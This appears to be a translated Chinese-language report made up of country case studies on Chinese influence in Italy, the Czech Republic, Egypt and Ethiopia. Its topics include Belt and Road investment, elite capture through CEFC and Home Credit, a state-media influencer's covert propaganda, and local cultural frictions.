多年来，意大利为中国提供了一个热烈欢迎的环境。历届意大利政府在被国债（占GDP的120%）和贫血增长挤压的情况下，都是急于与现金充裕的中国投资者合作。2017年，意大利参加了BRI的首届论坛，到2019年已经积累了160亿欧元的中国投资，在欧盟国家中排名第三（仅排在德国和法国之后）。

意大利高度发达且位于中心地带的基础设施是中国买家的主要目标。该国35%的电网和49%的瓦多港（地中海地区最大的冷藏设施）现在都在中国手中。像意大利电信、联合信贷银行、和倍耐力轮胎这样高知名度的意大利公司，以及其他娱乐、体育和酒店业的公司都有主要的中国合作伙伴或所有者。意大利政府不厌其烦地向警惕的公众保证，这些投资 “绝对不是掠夺性的”。瓦多港 *Photo by –=XEON=–, CC BY 3.0 via Wikimedia Commons*

关键时刻是在2008年，当时的全球金融危机为中国提供了一个将外国直接投资（FDI）扩大到世界最先进经济体的机会。由于需要新的技术、创新、更好的供应线，以及长期的现金和生产过剩的出路，中国政府将现金推向海外，并提供慷慨的政府支持，特别是对国有企业。同时，执政的中国共产党敏锐地意识到，中国的西部省份需要发展（BRI 的一个关键目标），其庞大的中产阶级需要稳定的消费品来源。

欧盟对中国的投资特别有吸引力。它是世界上最大的单一市场，提供了一个监管不均的外国直接投资环境。与贸易不同，投资交易可以与个别国家谈判，这种方式使中国能够找到最有利的条件。随着欧元危机席卷欧盟南部，中国投资者带着大量的现金来到这里，没有什么麻烦的条件，而且对于经济衰退中的出口商来说，还有机会进入中国巨大的内部市场。

在欧盟内部的存在对北京有一个额外的好处：有机会削弱欧盟和跨大西洋的团结。近年来，中国最热衷的两个欧盟伙伴，希腊和匈牙利，都已经淡化或阻止了欧盟关于南海和香港的决议。

意大利改变了方向

「图」

意大利对中国的热情在2018年当选的疑欧派五星运动(FSM)和右翼的北方联盟期间达到了一个高潮。北方联盟领导人、前意大利内政部长马泰奥·萨尔维尼对这种做法持敌对态度，但FSM认为中国是欧盟和美国的一个重要平衡者，并认为意大利只是在追赶。经济发展部副部长迈克·杰拉奇说："我们位于地中海的中心，但中国人在该地区无处不在，除了这里"，他在第一届孔特政府时期领导了一个中国工作组。

在2019年五星运动-北方联盟布局被萨尔维尼打破后，第二届孔特政府（2019–2021年）包括了对中国态度更为批评的声音。新任欧洲事务部长、民主党的温琴佐·阿门多拉表示，"如果我们……是政府，我们就不会与中国签署丝绸之路协议"。然而，事实是，在上一届政府（2017年）中，民主党已经启动了关于加入BRI的谈判。事实证明，第二届孔特政府比第一届政府更加谨慎。它利用其筛选投资的"黄金权力"（2017年扩大，2019年再次扩大），对中国大型企业华为和中兴通信的技术采购施加了限制。一项备受瞩目的合作生产航天器的计划被搁置，以回应美国的担忧。

2021年，当第二届孔特政府分崩离析，欧洲中央银行前行长马里奥·德拉吉(Mario Draghi)成为总理时，气氛变得更加冷酷。德拉吉已经明确表示，亚特兰蒂斯主义将指导政府的立场，包括对中国的立场。政府已经签署了北约6月的声明，该声明警告中国"对基于规则的国际秩序的系统性挑战"，并呼吁北京"在国际体系中负责任地行事"。

德拉吉的内阁包括北方联盟的贾恩卡洛·乔格蒂，他的观点反映了对中国投资的一种不太信任的态度。"我们不反对外国投资"，他说，"但反对掠夺性的外国投资"。4月，政府阻止了一家中国公司收购一家小型

半导体公司的投标，然后又阻止了中国最大的汽车制造商一汽集团收购另一家旗舰企业依维柯卡车和客车公司。

民众的怨恨

「图」

长期以来，意大利公众一直是欧洲对中国印象最消极的群体之一，这在很大程度上是由于对意大利的华人社区的反感。该社区有30多万人，是欧洲最大的社区之一，中心位于威尼托、伦巴第和托斯卡纳。许多意大利人憎恨中国人经营的次级经济，认为它是对意大利劳工、国家的中小型企业和“意大利生活方式”的威胁。正如一位竞争者所说，“意大利制造就意味着由意大利人制造！”偶尔，意大利警方的打击行动也会产生中国政府的训诫。*Image copyright Ronald H. Linden*

长期以来，评论家们对中国的存在感到紧张。他们对中国日益增长的“软实力”举措感到震惊，在媒体上对中国的“魅力攻势”发出警告。在欧盟对COVID疫情反应迟缓，使中国政府有机会通过提供设备和财政援助来美化其形象之后，人们对中国的态度稍有改善。但是，当中国向意大利“捐赠”的呼吸机和医生实际上只是之前协商好的销售时，中国姿态的似是而非的性质几乎立即暴露出来了。中国在分享信息方面的拖延，特别是其暗示该疾病在意大利开始的政治宣传活动并没有什么帮助。2021年，意大利贸易协会 Mio Italia 起诉中国卫生部延迟报告疫情信息和没有采取迅速行动，要求对意大利酒店业的损失进行2亿欧元的赔偿。

甚至比起过去，现在的当地领导人必须在经济计划和国内反弹之间走钢丝。当土耳其公司 Yilport Holdings 在2020年签署协议恢复塔兰托的主要码头时，该公司不得不公开消除关于它将把中国人带来的报道。而当热那亚重建倒塌的莫兰迪大桥的合同被授予时，地区领导人迅速否认了中国的参与。

提供港口

「图」

即使在可能存在地缘政治问题的情况下，中国对意大利的投资前景也是诱人的。2014年，罗马吹捧了一个“五港联盟”，该联盟将在威尼斯、的里雅斯特和热那亚设立一个主要的中国机构。虽然这个计划没有实现，但关于的里雅斯特和热那亚的协议确实伴随着意大利加入

BRI。对中国来说，这两个意大利港口将是在整个地中海地区的收购圈中的一颗宝石。

即使过去的待遇不佳，也没有打消意大利吸引中国回来的愿望，在塔兰托的案例中就可以看出。该港口是意大利“靴子”脚跟上的一个重要经济区的一部分，与直布罗陀和苏伊士运河的距离大致相等，是成为顶级商业转运中心的理想位置。但经过漫长而令人沮丧的谈判后，中国的航运巨头将其交通转移到了希腊的比雷埃夫斯。最后一艘中国大型船舶于2015年离开塔兰托。比雷埃夫斯现在是地中海最繁忙的港口，也是欧洲第四繁忙的港口，而塔兰托的主要集装箱码头多年来一直不活跃。当中国人在**2020**年重新表现出兴趣时，塔兰托港务局和意大利总理吉塞普·孔特是热切的追求者。

但塔兰托也是意大利一个主要的海军基地所在地，是欧盟和北约若干多边行动的所在地。当2020年关于中国可能感兴趣的报告浮出水面时，一个负责监督意大利国安问题的议会小组向媒体泄露了一份批评报告。由于担心像华为这样的国家控制的中国公司的存在可能会挑战北约和欧盟的资产或损害通信，意大利议员安娜·邦弗里斯科要求欧盟调查这一销售。正如她直言不讳地说：“我们不能危及我们自己和整个欧洲”。此外，对的里雅斯特和其他意大利港口投资的承诺也没有兑现。

生态方面的担忧也已经浮出水面。在威尼斯，数以百万计的中国游客的前景—— 作为一个诱因—— 反而让港务局主席皮诺·穆索利诺（Pino Musolino）感到不安，他担心这将破坏威尼斯作为一个珍贵的旅游景点的价值。他称 **BRI** 是“一个巨大的设计，旨在控制贸易流动和控制主要的全球价值链。如果你控制了这些，你就不需要再控制任何军队”。即使考虑到大流行病对投资和贸易的负面影响，也没有什么收获，意大利的港口和整体经济都没有从BRI中看到明显的增值。

欧盟的搅动

「图」

仅仅是国内因素，尽管它们很重要，但并不能解释意大利对中国取向的改变。盟友立场的重要变化使罗马能够对中国做出更加细致入微的批评性回应。

欧盟27个经济体是彼此最大的贸易和投资伙伴。虽然在欧盟的“集合主权”概念下，许多权力已经让给了布鲁塞尔，但监督和管理外国投

资的权力仍然在国家层面。这产生了一个拼凑的政策 —— 或者说根本就没有政策。截至2017年，有一半的欧盟成员国没有建立外国直接投资筛选框架。布鲁塞尔也没有。

但欧洲对中国经济行为的态度已经变得强硬。在2017–2018年期间，欧盟委员会、欧洲议会和几乎所有欧盟大使都批评了中国的BRI政策以及其贸易和投资交易的不平衡性。2019年初，欧盟给中国贴上了“经济竞争者”的标签，并呼吁关注中国在欧盟内投资的快速和无管制增长、缺乏互惠、以及国有企业的作用和国家安全问题。德国、法国和意大利是中国投资的前三个国家，它们呼吁在欧盟层面提供额外的保护。

2020年，一个外国直接投资审查机制终于到位了。它确定了各国可能采取更严格限制的部门，包括关键基础设施和技术、能源、获取信息和媒体的多元化。布鲁塞尔首次发布了一份关于所有非源自欧盟的外国投资的全面报告。除其他外，报告显示，2007年控制了5000家公司的中国合作伙伴，到2017年持有超过28000家。在新的机制下，欧盟仍然不能强迫国家限制，但该行动使欧盟层面对中国投资的兴趣合法化，并加强了基于安全和“公共秩序”标准的关注。

2020年12月，欧盟和中国之间签署了一项期待已久的投资条约。它旨在为与北京的谈判提供第一个多国框架。该协议如果得到批准，将向外国投资开放汽车、卫生、金融和服务部门，并限制中国强迫投资者建立合资企业的做法，通过这些企业将敏感技术转让给中国合作伙伴。对于罗马和其他欧盟成员国来说，这将意味着北京将面临一个多国谈判机制，代表27个国家和4.5亿人，而不仅仅是一个国家。欧盟现在正在做意大利两年前所做的事：与中国签署一个多边协议。

在人权方面

「图」

公民权利和人权在欧盟的创始宪章、机构和实践中都有体现。该组织的规范力量在20世纪90年代得到了华丽的展示，当时布鲁塞尔强迫希望加入的前共产主义东欧国家通过广泛的民主和人权法律。

但中国并不想加入欧盟，而是要推进自己的一套社会和政治价值观。该国坚决反对通过允许欧盟在其国内或地区事务中发言来削弱其主权的企图。就欧盟而言，它一直在努力寻找基于价值观的外交政策和基于利益的外交政策之间的有效战略。天安门大屠杀（1989年）之后，欧盟冻结了所有的关系，直到1995年建立了一个机制，即 欧盟-中国

人权对话。这使得经济关系得以恢复，同时每年举行非公开会议，提出个人和团体的人权问题—— 而且通常被中国拒绝。

欧盟试图平衡道德和金钱，与民族国家所面临的困境并无二致。但欧盟的尝试由于议会、委员会，当然还有其最强大的成员国对与中国的关系采用不同的公式，而变得复杂。例如，这使德国成为北京最积极的欧洲经济伙伴，“悄悄地” 推进人权，同时避免公开挑战北京。

欧盟薄弱的人权文书和默克尔等领导人在幕后对北京的训诫，一再被贬低。关于大面积关押维吾尔族人的拘留营和北京对香港民主反对派的镇压的证据，使问题更加尖锐。作为回应，欧盟已经开始在人权方面找到自己的声音。在2019年的一份战略文件中，中国被称为 “促进替代性治理模式的系统性对手”；2021年春天，布鲁塞尔对新疆官员的行为实施了适度的制裁 —— 这是天安门广场以来的第一次。

欧盟现在面临着自天安门事件以来最大的 “价值观还是利益” 的外交政策挑战。该投资条约尽管具有经济利益，但却受到了严厉的批评，因为它在工人和人权方面只提供了模糊的中国承诺。由于中国在新疆和香港的行动以及对欧盟官员的报复性制裁，欧洲议会冻结了对该条约的审议，因此该条约现在被搁置。

对意大利来说，一个新发声的欧盟为其自身对中国的批评提供了一个重要平台。这一点尤其重要，因为国内对德拉吉政府的压力越来越大，要求其更加强硬。2021年3月，罗马与欧盟一起制裁中国官员对维吾尔人的压迫，并召见了中国大使以表明立场；并在5月，意大利议会一致通过了自己的决议，谴责中国的行为。https://www.patreon.com/posts/qiao-bai-deng-de-57502796

华盛顿的变化和延续性

「图」

在可预见的未来，美国的核心外交政策问题将是如何应对中国。在过去的十年里，华盛顿一直有各种战略。唐纳德·特朗普倾向于在贸易和投资方面采取对抗性行动；乔·拜登延续了特朗普的政策（如果不包括他的言辞）也对中国采取了积极的经济和政治立场。但与特朗普不同的是，拜登认识到与中国最重要的经济、政治和道德盟友合作应对这一挑战和其他挑战的 “价值”。

因此，美国政策中最重要的变化之一是美国对欧洲恢复了合作立场。这种转变最明显的莫过于对华政策了。拜登政府强调其在经济、地缘

战略和人权问题上对中国的强硬立场。特朗普时期实施的关税没有被修改，对服务于军事目的的中国公司的投资禁令被扩大到包括从事监视的公司。在第一次美中峰会上，中国在新疆和香港的行动受到了严厉的谴责。

对拜登来说，欧洲在形成旨在挑战中国影响力的政策方面起着核心作用。美国政府对新的欧盟-中国投资条约的匆忙和时机不满意，但在他的第一次欧洲峰会上，拜登离开时带着一个新的“建设更美好的世界伙伴关系”计划，旨在将数十亿美元的透明、“基于价值观”的投资引入世界各地的中低收入国家。如果它看起来像欧美的**BRI**，它应该就是。

对于美国人和欧洲人来说，基础设施的脆弱性和技术渗透的风险具有很高的突出性。正如意大利《共和国报》所言，“港口和5G网络是中国和美国之间的比赛在意大利围绕的两个支柱”。但是，华盛顿没有像特朗普的人那样对美国盟友横加指责，而是支持建立欧盟-美国贸易和技术委员会，其目的之一是“在技术、数字问题和供应链的关键政策方面进行合作”。就其方向和任何最终结果而言，这种合作改变了盟国形成其中国政策的领域。

最后，美国和欧洲现在都愿意宣扬自己的价值观。对意大利这样的国家来说，北约和七国集团峰会谴责中国侵犯人权的公报提供了一个重要的平台，可以明确自己的态度。而这些都引起了中国政府的注意。北约峰会后，中国外交部长王毅直接致电路易吉·迪马约，强调迫切需要加强意大利和中国的关系。迪马约的反应很冷淡，比以往任何时候都清楚地表明，曾经充满激情的“罗马交易”现在更像是意大利式分手。

达成平衡

「图」

意大利人对与亚洲打交道所产生的冲突性动力并不陌生。自意大利统一运动以来，意大利人就发现自己被挤压在强大的国内和外部力量之间。但是，尽管在历史上很熟悉，意大利的“外交华尔兹”（正如 Dario Cristiani 所称）的进程并不是预先确定的。

罗马打破了欧盟的行列，在2019年签署了BRI，但它也有效地禁止了华为和中兴，而德国还没有这样做。意大利扩大了政府对外国直接投资的控制，并阻止了两个高调的中国项目，但依维柯交易中被回避的追求者一汽集团仍在为艾米利亚-罗马涅大区的一家工厂投入10亿欧

元，以制造电动汽车。意大利已经表现出愿意回绝富有的中国人，加强投资控制，并和其盟友一起对人权问题进行严厉指责。但其经济、地缘战略甚至政治上对中国的吸引力依然存在。在最后从阿富汗撤军期间，意大利领导人试图利用这一筹码，提供与北京沟通的替代渠道，建议在该地区开展各种合作方式。

其他欧洲国家比以往任何时候都更渴望发展其被大流行病破坏的经济。而他们的政府仍然需要抵御民粹主义的挑战。中国的贸易和投资在这两方面都有很大的好处，如果仔细管理的话。意大利的情况表明，也许可以建立一个对中国更加谨慎甚至批评的姿态；平衡经济需求、国内反应、与盟友的分歧、和对价值观的尊重，可以通过维护国家安全、经济收益，或许还有国家尊严的方式完成。

C Z

「图」

为什么捷克精英会被北京的叙事所俘虏？

「图」

谈到中国政府对参与“一带一路”倡议的国家领导层的收编能力，捷克提供了一个有趣的案例。中-捷精英俘获的故事说明了企业的野心是如何与最高层的政治关系紧密交织在一起的，以及一个位于欧洲中部的小国是如何成为有关中国言论的战场的。

自1993年独立以来，捷克在与中国的官方关系上经历了显著的变化。第一任捷克总统瓦茨拉夫·哈维尔是一位由持不同政见者转为当选的政治家，他定期与达赖喇嘛会面，并公开批评北京侵犯人权的行为。而与此形成鲜明对比的是，捷克现任总统米洛什·泽曼呼吁“采取更加务实的做法”。

这种做法是在与中国的合作前景的叙述中形成的。在所有的可能性中，这种积极画面的渲染也是中国在捷克媒体领域投资的决定引发的（第一波投资始于2015年，随后在2020年扩大规模，但在2021年撤回）。不出所料，2018年捷克的一份政策文件指出，“将媒体的所有权（或部分所有权）转让给中国公司，实际上消除了对中国的任何批评”。

作为中国地缘政治工具的准私营公司

「图」

中国独特的经济发展造就了一些特殊类型的公司，这些公司虽然是私有的，但可以促进中国政府的经济外交和地缘政治利益。由商业大亨叶简明领导的 CEFC China Energy（中国华信能源）就是其中之一。

根据中国媒体《财新》所说，在对外扩张之前，华信能源是一家主要集中在能源和金融领域的地方工业集团，利用党和军队的关系以及国有银行的数十亿美元贷款来推动其迅速崛起。

该公司雇用了一些前军官，而且在2003年至2005年期间，叶某曾担任中国国际友好联络会（CAIFC）的副秘书长。美国国会研究人员后来称 CAIFC 是中国人民解放军的一个幌子，履行 “收集情报和进行中华人民共和国宣传的双重职责”。

在北京作为地缘政治领域的行为者日益重要的背景下，中国华信能源代表了经济外交和秘密捕获精英的理想工具。

CEFC对捷克共和国和其他国家的考察

「图」

2016年3月，当习近平成为第一位访问捷克共和国的中国领导人时，他带来了大量中国投资的承诺—— 同时也带来了叶简明。2015年4月，中国媒体报道了叶简明被任命为捷克总统泽曼的经济顾问，但总统的发言人在6个月后才通知公众，当时CEFC正式开始在捷克运营。

习近平访问后，泽曼总统希望捷克能够成为 “中国投资扩张的不沉航母”。泽曼坚定不移的支持立即被亲北京的叙述所回收，包括中国驻布拉格大使馆的声明，该大使馆在其 Facebook 页面上分享了泽曼的说法：“BRI是我们现代历史中最重要的项目”。

矛盾的是，在泽曼漫长的政治生涯中，他自己对与中国合作的叙述发生了明显的变化。1996年，人们记得他曾公开分享关于中国人的种族主义言论，说一些政治家甚至会 “拉开双眼距离” 并 “改变肤色” 来吸引中国人。

随后，CEFC 进入了收购狂潮，购买了一些不同行业的公司股份，如洛布科维奇啤酒厂、布拉格斯拉维亚足球俱乐部以及旅游和房地产行业。这一过程由正在进行的中-捷经济融合中的另一位重要人物——前国防部长、著名的说客、当时的欧洲 CEFC 总裁雅罗斯拉夫·托尔迪

克负责监督。

所有闪亮的东西都不是金子

「图」

北京暗中渗透到捷克国家机器最高层的努力引起了捷克反间谍机构安全信息局（BIS）的注意。在其2015年年度报告中，BIS报告说，在与可能作为商业活动和外国国家权力的潜在利益之间的联系的对象接触时，必须“特别小心”，“特别是与他们的情报部门（如俄罗斯联邦或中国）的活动”。

这一警告的重要性在2017年11月18日变得更加明显，当时中华能源基金委员会（CEFC的一个非政府组织附属机构）主任 Patrick Ho Chi-shi 在纽约被捕，罪名是洗钱和腐化非洲高级政治家，即 乍得总统和乌干达外交部长萨姆·库泰萨（巧合的是，他也在2015年让叶简明担任他的特别顾问）。

不过，在美国帕特里克·何的腐败丑闻爆发后，泽曼仍将叶简明称为他的顾问，甚至在2019年2月中国当局拘留和调查叶简明个人后，泽曼还一度将其称为顾问。CEFC的捷克资产在2020年破产，随后被一家名为中信集团的中国国有银行收购。

捷信：捷克对中国的支点的一个受益者

「图」

被俘虏的不只限于政治精英，还包括经济精英。在向中国投资敞开大门的同时，泽曼也为捷克最富有的人之一彼德·凯尔纳铺设了通往中国的道路。在今年3月因直升机事故不幸去世之前，凯尔纳控制着PPF集团的大部分股份，这是一家专注于金融服务、电信、生物技术、房地产和其他领域的国际投资巨头。

在捷克高层政治家的支持下，捷信中国在2014年获得了在全国范围内提供非银行信贷的许可证。同年，泽曼在结束对中国的国事访问返回时登上了PPF的私人飞机。2016年4月，时任捷信集团首席执行官和小股东的 Jiří Šmejc 称：

PPF 和捷信（我们为此感到自豪）见证了这一倡议的诞生，我认为该倡议导致了捷克和中国关系的复兴。

“复兴” 确实给捷信集团带来了巨大的利润，在几年内，该公司成为中国最大的消费贷款供应商之一。

捷信对捷克外交政策的影响的意义并不是没有被注意到。由查尔斯大学汉学系的专家支持的中国分析项目 Sinopsis 对该公司进行了批评性的报道。这与CEFC的破坏性丑闻一起，导致相关各方争相在与中国有关的叙事的舆论战场上确保自己的声音。

捷信：也是亲北京叙事的平台

「图」

2019年6月，Sinoskop（后来改名为 Asiaskop）作为另一个以中国为重点的媒体项目出现了。它的官方面孔自始至终都是 Vít Vojta，一位汉学家、顾问和捷克总统的翻译。它的任务，在其成立公告中说，是“加入目前关于中国的两极化辩论，以帮助平衡它”。

尽管 Sinoskop 宣称的目标崇高，并声称 “资金来自自己的来源”，但捷克媒体 Aktuálně.cz 的调查记者透露，Sinoskop 实际上与捷信有关系，并从捷信获得资金。为此，捷信雇佣了一家名为C&B声誉管理的公关公司，以便不仅擦亮公司的形象，而且擦亮捷克共和国对中国的整体看法。

2020年10月，PPF集团收购了中欧传媒企业有限公司，其中包括捷克共和国最受欢迎的电视频道 TV Nova。有趣的是，CEFC之前也曾对 TV Nova 表现出兴趣。

随着今年3月彼得·凯尔纳的意外去世，以及泽曼的第二任期将于2023年结束，目前还不清楚中捷关系可能采取什么方向。但有一件事是清楚的。虽然北京和捷克的精英们对展示一个有吸引力的中国形象寄予厚望，但在他们所有的诡计之后，公众舆论已经走向了相反的方向。正如2020年底公布的一项国际调查所显示的，**41%**的受访者认为他们对中国的看法在过去三年里恶化了，使 “捷克共和国成为欧洲最消极对待中国的国家之一”。

E G

「图」

阿拉伯语中国网红在埃及引起舆论分歧

「图」

早在2020年，中国就开始雇用社交媒体影响者（网红），在埃及和讲阿拉伯语的社交媒体用户中传播亲中国的政治宣传。他们掩盖了自己和中国政府的关系，目的是在中东这个人口最多、文化影响最大的地区为中国宣传有利的公众形象。

在COVID-19大流行病发生后，这种信息战任务的暗示显而易见。早期确认因该流行病死亡的案例是埃及军队的高级人员，他们与参与埃及新行政首都建设的中国工人和工程师密切合作。在他们死亡后不久， YouTube 上的一段热门视频显示，一些埃及人在大开罗的环形公路上骚扰一名亚裔男子，在他被迫离开Uber车子之后。

当数百名埃及人谴责对这名男子的态度是纯粹的种族主义时，其他人则对中国人在埃及的存在表示恐惧，宣布中国人是病毒爆发的源头。这种关于中国人有罪的说法忽略了该国无能的卫生系统和受打击的经济，而这两者在埃及抗击病毒的能力中也发挥了作用。

在为埃及的中国人辩护的声音中，有一个使用 Faiha Wang 这个名字的年轻女子，她在网上夸耀自己的中国血统。2019年8月，也就是袭击发生前的几个月，Wang 在 Facebook、TikTok 和 Twitter 上创建了页面。这些页面当时只有几千名粉丝，评论中大多赞扬她的美貌和流利的阿拉伯语。

当 Wang 在 Facebook 上发起活动，敦促埃及人道歉并支持被欺负的亚裔男子后，她的页面获得了数十万的粉丝。

她还吸引了埃及媒体的注意，这些媒体一直在急于寻找那种不会激怒或提醒无情的国家审查人员的故事。一夜之间，Wang 就成为了埃及媒体中受欢迎的声音，获得了主流和另类媒体以及报道埃及的国际媒体的关注。Wang 在采访中谈到了她成功的倡导，以及 “坚实的埃中关系”。

她的社交媒体平台的流量迅速激增，吸引了成千上万的人对她关于 “祖国” 的帖子作出反应，这些帖子主要集中在烹饪、街头食品和中国文化方面。她的阿拉伯追随者对她的美貌和笑容赞不绝口，但对她的文化内容似乎不太感兴趣。

伴随着粉丝和流量的激增，王的帖子也出现了新的基调。赞扬中国及其政府处理病毒的帖子变得更加频繁，先前看似真诚的爱国主义自豪感让位于后来看似有针对性的宣传。不久之后，更多宣传中国观点的

虚拟记者和网红出现在埃及的社交媒体领域。

谁是 ***Faihaa Wang***？

「图」

根据她在 Facebook 上的简历，王是一名在开罗工作和生活的中国媒体雇员。在她发表在流行但不太可信的阿拉伯媒体网站上的几篇文章中，她介绍自己是一名记者。

Alharir.info，一个为向阿拉伯受众宣传“一带一路”倡议而建立的中国官方网站，转载了王不常发表的一些文章，并介绍说她是中国国家广播电台的开罗记者。El-Watan 发表的简介中也使用了同样的描述，这是一份由与埃及情报部门有联系的UMS拥有的日报出版物，UMS现在拥有绝大多数埃及媒体平台。这份简介称，王是一名穆斯林，在伊斯兰教的斋月期间进行练习，在开罗学习阿拉伯语，截至2020年5月已经在开罗生活了三年。

El-Watan 的简介是在王发布TikTok视频之后发布的，她在视频中用手语表演了“Tahia Masr”（埃及万岁），这首歌是根据已成为总统阿卜杜勒·法塔赫·塞西及其统治的标志的口号编写的。她选择的这首歌很可能引起了埃及广大观众的注意。

全球之声发现的证据表明，王被中国传媒集团（CMG）派往埃及担任制作总监，该公司是2018年成立的一家国有媒体公司，就在王2017年开始在埃及工作一年后。在此之前，王在中国做了10年的广播员工作。一份关于她在CMG的报告将她描述为“中国传媒集团第一个也是唯一一个在海外的阿拉伯语社交媒体影响者”。

尽管**CMG**在**2020**年**1**月的报告中称她是唯一讲阿拉伯语的中国影响者，但 **Facebook** 的算法显示还有其他影响者。在 Facebook 推荐的类似账户中，有多达五位用阿拉伯语发帖的影响者，包括几位生活在中国的埃及人，以及另一位在中国媒体公司工作的中国女“记者” Suad Ye，她的名字是阿拉伯语。这些账户之间在社交媒体内容和策略上的相似之处很容易被发现，都是用阿拉伯语宣传中国的国家叙事。

打穆斯林牌

「图」

王从未纠正埃及媒体错误地介绍她是穆斯林，这种说法使她对她的大部分穆斯林听众更有吸引力。然而，正是这些听众在背后对她的帖子进行了反击，这种反击始于2021年4月，是对她在中国维吾尔族问题上的立场的回应。

2019年12月，《中国环球时报》的一篇文章为王在谈到维吾尔族时“让他们从黑转粉”的初步成功感到自豪，表明她的任务是为中国政府的利益及其宣传言论服务，而不是作为一名记者提供准确无偏见的报道。

环球时报文章说，在埃及流传着许多关于中国新疆政策的“谣言”，而“中国传媒集团在埃及的制作总监”王正在利用她的社交媒体账户来扭转这些“受西方影响的关于中国的观点”。根据这篇文章，她积极评论这些新疆“谣言”，“用流利的阿拉伯语，让埃及的老百姓知道真相，这些关于新疆的谣言来自西方的影响，是为了破坏中国。”

王经常提供比较，以拉近中国和埃及的叙述。在这篇文章中，她将埃及的反恐战争与北京的反维吾尔族政策相提并论，将其描述为中国的反恐战争。

2021年4月，恰逢神圣的斋月，王的 Facebook 帖子开始收到大量愤怒的评论。其中许多评论来自穆斯林，他们谴责中国对维吾尔人的待遇，2017年在中国的授意下，数百人被围捕并从埃及引渡。 这些评论在5月升级，因为她在新疆“报道”一个维吾尔族儿童再教育营时发布了自拍照片。

在新疆的时候，王把维吾尔族的“问题”说成是国家安全问题，声称中国正面临着与埃及在西奈半岛作战的同样的恐怖主义，并正在采取“必要措施”来根除新疆的“恐怖主义”。她发布了一些据称是穆斯林家庭的视频，其中一些人住在北京，以证明中国没有歧视穆斯林公民，后来她把这些视频从 Facebook 和 YouTube 上删除了。她写了一篇阿拉伯语文章，带着愤怒的语气要求停止“对中国在新疆消除极端主义努力的诽谤”。

对她的帖子的愤怒评论不断涌来。最近，她的网页被她的一些受众评价为假新闻和政治宣传。

尽管敌意越来越大，王仍继续做宣传，发布她的微笑自拍，驳斥关于中国有问题的太空火箭的评论，并赞扬她的国家对“极端的维吾尔人”的处理。她甚至建立了一个粉丝页面，自称是王的“军队”，由她自己管理。

E T

「图」

中国作为埃塞俄比亚的文化威胁：从食物到文化占有

「图」

在埃塞俄比亚，驴只用于运输，与狗和猫等家养动物类似，不用于食用。

从官方角度来说，中国和埃塞俄比亚拥有强大的伙伴关系。埃塞俄比亚吸引了近700家中国企业，是中国在非洲的第二大贷款接受国。埃塞俄比亚的快速经济增长，以及对由中国建造并仿效中国的制造业和工业园区的拥抱，甚至导致一些新闻机构将埃塞俄比亚描述为“非洲的中国”。埃塞俄比亚的主要政党，繁荣党，以及之前的埃塞俄比亚人民国防军，都与中国共产党保持着密切的关系。埃塞俄比亚也是中国的“一带一路”倡议在非洲的重要伙伴之一。

然而，在埃塞俄比亚的流行文化中，中国的存在往往被视为一种多层面的文化威胁。一方面，人们通过社交媒体广泛表达了对中国社区作为异国文化习俗传承者的担忧，尤其是在饮食习惯方面；另一方面，人们对中国对埃塞俄比亚传统文化的侵占感到焦虑，例如在当地商店和市场上出现的中国制造的埃塞俄比亚工艺品和服装的廉价版本。

与其他签署了中国“一带一路”倡议的国家一样，中国移民和商业群体进入埃塞俄比亚也造成了一些摩擦。要确定在埃塞俄比亚的中国居民的确切人数是很有挑战性的，但一些估计表明至少有6万人。

食品：一个敏感的问题

「图」

埃塞俄比亚方面的这些紧张关系经常通过对中国居民饮食习惯的讨论来表达。特别是中国居民被指控违反了埃塞俄比亚的饮食习惯。埃塞俄比亚的美食主要包括煮熟的蔬菜和扁豆，以及辛辣的肉菜和炖菜，所有这些都是在一种用苔麸谷物制成的酸味扁食上食用，即 injera。肉类只限于羊肉、牛肉和鸡肉，而海鲜（除了简单的鱼）很少被食用。而中国居民往往被描绘成贪婪地消费禁忌动物，如驴子，以及异国情调的甚至是在当地非法的食物，如蛇、昆虫和老鼠。

埃塞俄比亚的社交媒体评论员批评中国人吃驴肉。一些评论指称，中国人正在大规模地食用驴肉。一篇文章称，多达100万头驴被非法从埃塞俄比亚农民手中夺走，卖给中国的驴子屠宰场，用来生产中医传统药物阿胶。这种由驴皮制成的药物在中国被用于改善血液循环。该社交媒体帖子表示，如果不停止这种大规模的销售和屠宰，驴子将在10–15年内在埃塞俄比亚消失，令人感到焦虑。一些埃塞俄比亚媒体，如私营报纸《埃塞俄比亚记者》，也报道了对驴子消失的普遍担忧。一篇文章引用了 Brooke Ethiopia 进行的一项研究，指出 “中国的阿胶生产行业正在严重危及数百万贫穷的埃塞俄比亚人的生活和生计”。

在埃塞俄比亚，驴子只用于运输，与狗和猫等家畜类似，不用于食用。在农村地区，驴子特别受到推崇，因为它们被用来运输货物，特别是被妇女和年轻女孩用来运输货物。

根据英国非营利组织 “驴子保护区” 的说法，埃塞俄比亚近80%的人口依靠驴子生活。埃塞俄比亚的评论员指出，驴子的屠宰和出口对埃塞俄比亚的农村发展构成了危险，但也对其道德结构构成了危险。例如，一个帖子指出，开放驴子屠宰场是违反埃塞俄比亚的神圣和宗教传统的。更有趣的是，这位评论员认为，只要中国人不抢走埃塞俄比亚的驴子，他们开设自己的养驴场也许是可以接受的。

其他与食品有关的评论对中国人的饮食习惯进行了讽刺和夸张。一个 Facebook 帖子讲述了以下笑话：“如果亚当和夏娃是中国人……我们可能还在天堂。因为中国的亚当和夏娃会吃掉蛇而不是禁果”。另一个帖子开玩笑地敦促埃塞俄比亚政府求助于中国社区来处理蝗虫危机，但不是通过提供技术，而是让中国人把蝗虫吃掉。

在冠状病毒大流行的情况下，中国人与异国饮食习惯的这些联系具有新的地缘政治意义。一些在线评论员将食用违禁食品归咎于武汉最初的COVID爆发，暗示上帝很生气，惩罚了中国人。另一些人则更直接地将全球遭受的疫情与中国的食物选择联系起来：“中国人吃了这些食物 …… 而全世界的人民正在洗手”。

纪念品生产和文化盗用

「图」

除了华人社区不同的文化习惯外，中国文化占有的话题也出现在埃塞俄比亚关于中国的流行话语中。关于中国生产埃塞俄比亚传统咖啡壶的讨论就是一个明显的例子。埃塞俄比亚为自己是世界上最大的咖啡

生产国之一而自豪，也被称为咖啡的发源地。传统的咖啡冲泡技术使用优雅的细长颈黑土壶，称为 jebena，由埃塞俄比亚的工匠制作。但最近，中国制造的 jebena 出现在埃塞俄比亚市场和陶瓷商店。

公众的反应不一，有的对中国的效率表示钦佩，甚至希望埃塞俄比亚的 jebena 生产现代化，有的则担心一些中国人把 jebena 说成是自己的发明，还有的批评其不真实的特征，比如它是白色而不是传统的黑色。一些网民称，购买中国制造的 jebena 是对本土传统产品的不尊重，并损害了埃塞俄比亚工匠的收入。

